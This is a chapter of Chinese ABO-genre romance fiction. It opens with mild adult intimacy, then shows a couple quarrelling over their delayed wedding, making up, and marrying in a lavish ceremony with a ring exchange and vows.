陆恪神情一顿,眼中的迷离散了一点,看向千述。 千述拍了拍他,声音有点哑:“放松一点,别夹。” 进都进不去了。 陆恪脸色一下子就变了,猛的推开千述,靠在床头,紧紧的盯着她。陆恪紧抿着唇,眼底渐渐酝酿出风暴。 千述还没反应过来,就看着陆恪的眼眶里已经开始蓄上眼泪。 脑海里瞬间警铃大作。 “怎么了这是,谁又惹你了?”千述忙过去,想把陆恪拉进怀里。 陆恪直接甩开她的手,声音紧绷道:“你别碰我!” 千述看着自己被甩开的手,又看见陆恪咬着唇,受了天大的委屈一样,脑子里终于开始有点思路了。 “你在生我的气是吗?”千述问道。 陆恪撇开脸,下颌线冷硬锋利,他不去看千述,也没有回答。 千述又离他近了一点,把alpha的脸掰过来,指尖挤进他的唇缝:“别咬自己。” “我又怎么惹到你了?”千述笑问道。 “我这个周末是真的要去出差,行程早就定好了的,总不能临时毁约吧。”千述好脾气的跟陆恪解释。 “我尽量早点处理好工作,早点回来行不行。他们婚礼是什么时候举办,周六还是周日?我尽量压缩行程,看一下周日晚上能不能回来。” 千述以为陆恪是因为千述不能陪同他一起出席,所以闹脾气。 她不解释还好,一解释陆恪更是气的厉害。完全没说到陆恪的心上,甚至更加火上浇油。 陆恪起身,就要下床,离千述远远的。千述一把抓住他的手腕,把人拽过来,alpha就顺着力道停下动作。 “不做了?”千述看着alpha满身的红痕问道。 陆恪抿着唇,怒道:“我不想跟你做了。” “你根本不是真的喜欢我,你当初跟我领证也只是为了应付我。” 这话就说的很没道理了。 如果千述不是因为真的喜欢陆恪,他现在估计还在偷偷的在当地下情人,没名没份的,怎么敢这么跟千述闹脾气。 千述定定的看着alpha因为生气泛红的眼眶。 一个员工的婚礼,本来不是什么大事,千述参加与否都不重要,但是陆恪的情绪却如此激烈。 “是因为婚礼吗?”千述突然问道。 “我们的婚礼。” 灯光落在陆恪的眼底,折射出细碎的晶莹。 良久,他终于开口,涩声道:“为什么不愿意举办婚礼,你是不是后悔跟我领证了?” 埋在心里很久的话,惴惴不安的压在陆恪的心里。 刚开始领完证确实是很幸福的,过往种种晦暗,皆被抛在身后,前路坦荡光明。但是随时时间越久,陆恪心里又浮现出另一种的不安。 身边开始有人问他:“陆哥,你跟千述什么时候办婚礼啊,你们不是早就领证了吗?” 不少人说要来给陆恪当伴郎。 陆恪面色僵硬,又很好的控制住表情,不至于失礼:“再等一段时间吧,现在太忙了。” 只有方知明看出了陆恪的心思,推了推那个alpha,道:“去去去!你当陆哥跟你一样无所事事,天天混日子,陆哥和千述忙得很!” 那人也不在意,笑嘻嘻道:“是是是,现在正是拼搏的时候,不过陆哥伴郎的位置我先预定了。” “因为婚礼,所以你不开心。”千述道。 “我难道还要高兴吗?别人都问到我面前了,问我为什么领证这么久了还不办婚礼。我能怎么说,我只能说忙。” “千述,难道我是什么见不得光的人吗?让你连婚礼都不愿意给我,你后悔了是吗?”陆恪真的很难过,而且越说越难过。 他面对千述总没有安全感。 千述看着他,叹息一声,把人拉过来,安抚的摸摸alpha的脸:“没有后悔。” “跟你结婚,我是经过深思熟虑的,不是一时头脑发热做的决定。我是认真的想要跟你走下去,才跟你领证的。” “那你为什么不愿意举办婚礼?”陆恪的眼泪落在千述的指尖。 “没有不愿意举办婚礼,是我疏忽了,不知道你这么在意。我的本意是明年两人的工作都清松一点,再举办婚礼的,现在看来中间确实间隔太久了。” 千述很认真的解释,并且承认自己处理不当。 千言启动的这个项目,通过几年的发展,到了至关重要的时候。千述确实在工作中投入了很多心血,以至于忽略了陆恪的感受。 “那我们两个月以后举办婚礼好不好,时间太紧的话,婚礼布置可能不太精细。”千述吻了吻陆恪的眼泪,提议道。 陆恪没说话,只是把脸埋在千述的颈侧,眼泪湿润她的肌肤。 —————————————— 举办婚礼,最紧张的是陆恪。 本来好像说的是婚礼之前的三天不可以见面,但是陆恪完全不遵守这个规矩。婚礼的前一天还跟千述呆在一起,后来晚上的时候被方知明拉回去了。 “明天都要办婚礼了,怎么还留在千述这里!一刻也分不开。”方知明无语道。 方知明这次是作为陆恪的伴郎。 他的话真的没错,陆恪当真是他们一群人里面最早结婚的。 陆恪也知道已经不能再继续缠着千述了,但是他真的是紧张,不愿意离开千述半步。 千述让方知明在外面等一会儿,房间里就只剩下了千述和陆恪两个人。 两个人的视线在安静的空气中对视,空气的流速好像变得缓慢了。千述将陆恪抵在沙发上,低头亲吻他,她的舌尖探入,陆恪启唇。 两个人深吻在一起,温热的呼吸交缠。 良久,这个吻才结束,陆恪眼神变得迷蒙。 “明天见,陆恪。”千述轻轻笑 了笑 陆恪离开以后,向曼青她们才到。她们三个人是千述这次的伴娘。 千述一开门,谢宁就冲上来抱住她,撒娇道:“千述,真的好想你啊!!” “不是上个月才见过吗?”千述笑道。 上个月她们去量了尺寸,定制伴娘服。 “距离上个月已经过去三十天,七百二十个小时了!我每一分一秒都在想你。”谢宁道。 两个人抱在门口堵着。向曼青和罗玉兰无语。 “你俩真肉麻,麻烦一下,让让,我们要进去了。”罗玉兰吐槽道。 几人进了屋子。 千述在A市住的这套房子是去年买的。千言以后的重心也会逐渐往A市过渡,因为A市对于科技产业的扶持力度远超S市。 这套房子没怎么住人,大多数时候都住在云栖御庭那边。 房间里准备了一些东西,比如很传统的“囍”字,还有些气球什么的。 婚礼礼服已经送来,摆在沙发上。三人走过去,都发出“哇”的声音,她们只在照片上看见过这条礼服裙,还没有肉眼看过。 “照片上已经很好看了,肉眼看更惊艳。”向曼青夸赞道。 “确实。”罗玉兰点头,非常认同 婚礼那天,A市天气好,可能是老天都祝福这段姻缘。 这个婚礼举办得盛大,邀请了很多的人。毕竟陆恪的身份摆在这里,这场婚礼就不可能会太简约。 水晶吊灯从穹顶倾泻而下,闪耀着细碎的光芒。现场宾客云集,西装革履与珠光宝气交相辉映,这场婚礼汇聚了A市大部分有名有姓的人。 所有人的目光都注视着台上的两个人,灯光汇聚在两人的身上。 太美好了。 当证婚人让他们交换戒指的时候,陆恪想到了他们毕业的那天,陆恪也送了千述一枚戒指。 那是他挑了很久的戒指,甚至很纯情的,在戒指的内环刻上了他们名字的首字母。 那枚戒指,几乎承托了alpha所有的爱意。 可是千述拒绝了。 在夜晚的A大操场,灯光落在千述的脸上,有些昏暗。但陆恪仍旧清晰的看见了千述脸上的犹豫和为难。 年轻的时候总是心高气傲,那个时候的陆恪,自尊仿佛被狠狠扇了一巴掌,让他无法接受。 他几乎是气急败坏的把那两枚对戒抢了回来。 后来他们真正在一起后,千述有问过陆恪这两枚戒指。 “扔了。”陆恪当时是这样回答的。 “啊,好贵的。”千述有些可惜。 其实没扔,上面刻了千述的名字,陆恪怎么可能把它扔掉。但是陆恪再也没把那两枚戒指拿出来。 那两枚戒指代表着过去那段晦暗不明感情,确实有很深刻的含义。 但是他和千述的感情已经往前走了,他们都没有停留在过去。未来和千述携手的日子是崭新的,过去沾染着悲伤的东西,应该被永远留在过去。 交换戒指的时候,陆恪的眼泪漫上来,几乎遮挡了他的视野。手轻轻颤抖着,怎么也没办法给千述戴进去。 千述突然抬起左手,给alpha擦掉眼泪,笑着安慰道:“昨天不是说今天绝对不会哭的吗。” 陆恪反悔,嘴硬道:“我昨天没说。” 他趁着眼泪憋回去的空档,将戒指成功戴到千述的无名指。 灯光落在剔透的戒指上,闪着碎光。这枚戒指是有分量的,沉甸甸的压在千述的手上,这当然不是单纯指的钻石的克拉。 而是感情和责任。 这意味着于千述而言,她完全的接受了陆恪所有的感情,并且要付出同等的爱, 她和陆恪产生了紧密的链接,她不能再像过往那般回避,将自己从两人之间感情中抽离出来,像旁观者一样冷漠。 这个时候,证婚人询问:“你是否愿意和他共度一生,无论贫穷或富有,健康或疾病,顺境或逆境,你都会永远爱他,珍惜他,忠实于他,直到生命尽头。” 千述坚定的回答: “我愿意。”